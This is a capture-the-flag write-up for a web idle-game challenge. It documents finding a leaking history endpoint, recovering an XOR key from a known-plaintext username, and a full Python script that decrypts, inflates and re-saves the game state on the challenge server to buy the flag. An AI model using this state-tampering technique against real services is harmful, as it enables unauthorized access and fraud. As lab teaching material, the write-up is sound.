day17 - Snowflake Idle
It's not just leprechauns that hide their gold at the end of the rainbow, elves hide their candy there too.
Recon
A website where we can login using any name.
After login, we are presented an "idle" game, where you can manually collect snowflakes by pressing "Collect 1 Snowflakes".
An API to show history can be found over at /history/client
, which returns the history of your game.
[
[
1577366962905,
{
"action": "state"
}
],
[
1577367048455,
{
"action": "collect",
"amount": 1
}
],
[
1577367049761,
{
"action": "state"
}
]
]
The route itself seems to be dynamic; /history/foo
turns up as 200 OK
with an empty JSON object.
Control route
After trying various things, we eventually noticed that on the initial login page, we sent a request to /control
.
Fetching the history of control over at /history/control
yields some more information about the game in progress, and most importantly something that seems like the game "state".
[
[
1577366861032,
{
"action": "load"
}
],
[
1577366861033,
{
"action": "save",
"data": "BKhLYP6Rw2gzeVWLbsJ5SzA60aAbqBwvodiaaGc4CMB81HlLEDrbsRPvVXyyiQ=="
}
],
]
Get state
A small script to fetch the current game state:
import json
import requests
URL = "http://3.93.128.89:1217"
headers = {"User-Agent": "Spotless!!11"}
ses = requests.session()
# Register new user
name = "A"*64
resp = ses.post(URL + '/control', headers=headers, json={
"action": "new",
"name": name
})
resp.raise_for_status()
# Set cookie
cookie = resp.json().get('id')
ses.cookies['id'] = cookie
# Fetching state saves the state over at `/history/control`
resp = ses.post("http://3.93.128.89:1217/client", headers=headers, json={
"action": "state"
})
resp.raise_for_status()
# fetch state base64
resp = ses.get("http://3.93.128.89:1217/history/control", headers=headers)
resp.raise_for_status()
# display, filter out `load`
data = resp.json()
data = list(filter(lambda k: k[1]['action'] != 'load', data))
print(json.dumps(data, indent=4, sort_keys=True))
Game state
The game state seems to be a base64 of XOR'd data. To find the XOR key, and eventually the plaintext, we can:
- Create an username with 1000 "A"'s
- Fetch the "state", XOR with our knwon "AAAA"... etc
- This leaves a key
- XOR the real data with this key to get the plaintext
- Modify the game state in such a way that it gives us a lot of snowflakes - enough to buy a flag.
Solution
import base64
import json
import requests
class Snowflake:
URI = "http://3.93.128.89:1217"
def __init__(self, name):
self.s = requests.session()
self.COOKIES = self.new_session(name)
def new_session(self, name):
r = self.s.post(self.URI + "/control", json={'action': "new", "name": name})
return {"id": r.json()['id']}
def collect_flake(self, amount):
r = self.s.post(self.URI + "/client", json={'action': "collect", 'amount': amount}, cookies=self.COOKIES)
return r.json()
def melt_flake(self):
r = self.s.post(self.URI + "/client", json={'action': "melt"}, cookies=self.COOKIES)
return r.json()
def buy_flag(self):
r = self.s.post(self.URI + "/client", json={'action': "buy_flag"}, cookies=self.COOKIES)
return r.json()
def upgrade(self):
r = self.s.post(self.URI + "/client", json={'action': "upgrade"}, cookies=self.COOKIES)
return r.json()
def get_state(self):
r = self.s.post(self.URI + "/client", json={'action': "state"}, cookies=self.COOKIES)
return r.json()
def history(self):
r = self.s.get(self.URI + '/history/client', cookies=self.COOKIES)
return r.json()
def load(self):
r = self.s.post(self.URI + "/control", json={'action': 'load'}, cookies=self.COOKIES)
return r.text
def save(self, data):
r = self.s.post(self.URI + "/control", json={'action': 'save', 'data': data}, cookies=self.COOKIES)
return r.text
def xor(value, key):
res = ''
for i in range(len(value)):
res += chr(ord(value[i]) ^ ord(key[i % len(key)]))
return res
f = Snowflake('A'*1000)
# Load current game state
data = base64.b64decode(f.load())
# Use the XOR pad to decrypt the payload
xorpad = xor(data, 'A')[0x64:0x64+40]
decrypted = xor(data, xorpad)
# Load the json object and increase our money
payload = json.loads(decrypted)
payload['money'] = 1e64
# Encrypt the payload and store it
encrypted = xor(json.dumps(payload), xorpad)
f.save(base64.b64encode(encrypted))
# Buy the flag and print it
f.buy_flag()
print(f.get_state())
Flag
AOTW{leaKinG_3ndp0int5}